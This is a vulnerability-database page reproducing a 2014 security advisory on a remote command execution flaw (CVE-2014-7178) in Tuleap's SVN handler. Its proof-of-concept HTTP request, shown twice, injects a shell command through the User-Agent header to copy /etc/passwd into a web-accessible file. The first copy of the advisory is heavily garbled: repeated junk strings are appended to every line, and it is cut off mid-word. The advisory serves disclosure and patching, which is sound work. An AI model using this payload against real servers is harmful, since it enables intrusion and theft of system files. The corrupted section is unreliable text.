Tuleap 7.4.99.5 Remote Command Execution

31   2019-08-05 08:08   nipc
漏洞信息
漏洞编号: 1288
CVE编号: CVE-2014-7178
漏洞类型: -
漏洞来源: cxs
发布日期: 2014-10-29
CVSS
CVSS值: 9.3/10
严重级别: 高危
利用范围: Remote
攻击复杂度: Medium
认证级别: No required
漏洞描述

WLB-2014100177[***]http://cxsecurity.com/issue/WLB-2014100177[***]Bug: Tuleap 7.4.99.5 Remote Command Execution ( Ascii Version )[***]Tuleap 7.4.99.5 Remote Command Execution[***]2014.10.29[***]Jerzy Kramarz[***]High[***]CWE-78@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** [***]CVE-2014-7178@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893********[***]No[***]Yes[***]9.3/10[***]10/10[***]8.6/10[***]Remote[***]No required[***]Complete[***]Complete[***]Complete[***] Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** CVE: CVE-2014-7178@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Vendor: Enalean@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Product: Tuleap@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Affected version: 7.4.99.5 and earlier@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Fixed version: 7.5@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Reported by: Jerzy Kramarz@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Details:@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** passed to passthru() function are introducing any extra parameters that would be executed in the content of the@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** application.@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** application that would execute them as shown on the attached Proof Of Concept code below.@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** After registering with the application and sending a request similar to the one below the vulnerability can be@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** triggered:@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Host: [IP]@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Accept-Language: en-US,en;q=0.5@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Accept-Encoding: gzip, deflate@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Referer: https://[IP]/svn/?group_id=102@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Connection: keep-alive@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Cache-Control: max-age=0@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository.@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** @@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu0518893******** Further details at:@@@@@@@@@@$$$$$$$$$$&&&&&&&&&&##########suijishu051889

POC

Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap CVE: CVE-2014-7178 Vendor: Enalean Product: Tuleap Affected version: 7.4.99.5 and earlier Fixed version: 7.5 Reported by: Jerzy Kramarz Details: Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application. This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below. After registering with the application and sending a request similar to the one below the vulnerability can be triggered: GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1 Host: [IP] User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[IP]/svn/?group_id=102 Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5 Connection: keep-alive Cache-Control: max-age=0 Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository. Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. ############################################################### This email originates from the systems of Portcullis Computer Security Limited, a Private limited company, registered in England in accordance with the Companies Act under number 02763799. The registered office address of Portcullis Computer Security Limited is: Portcullis House, 2 Century Court, Tolpits Lane, Watford, United Kingdom, WD18 9RS. The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Any opinions expressed are those of the individual and do not represent the opinion of the organisation. Access to this email by persons other than the intended recipient is strictly prohibited. If you are not the intended recipient, any disclosure, copying, distribution or other action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. When addressed to our clients any opinions or advice contained in this email is subject to the terms and conditions expressed in the applicable Portcullis Computer Security Limited terms of business. ############################################################### ###################################### This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal. ######################################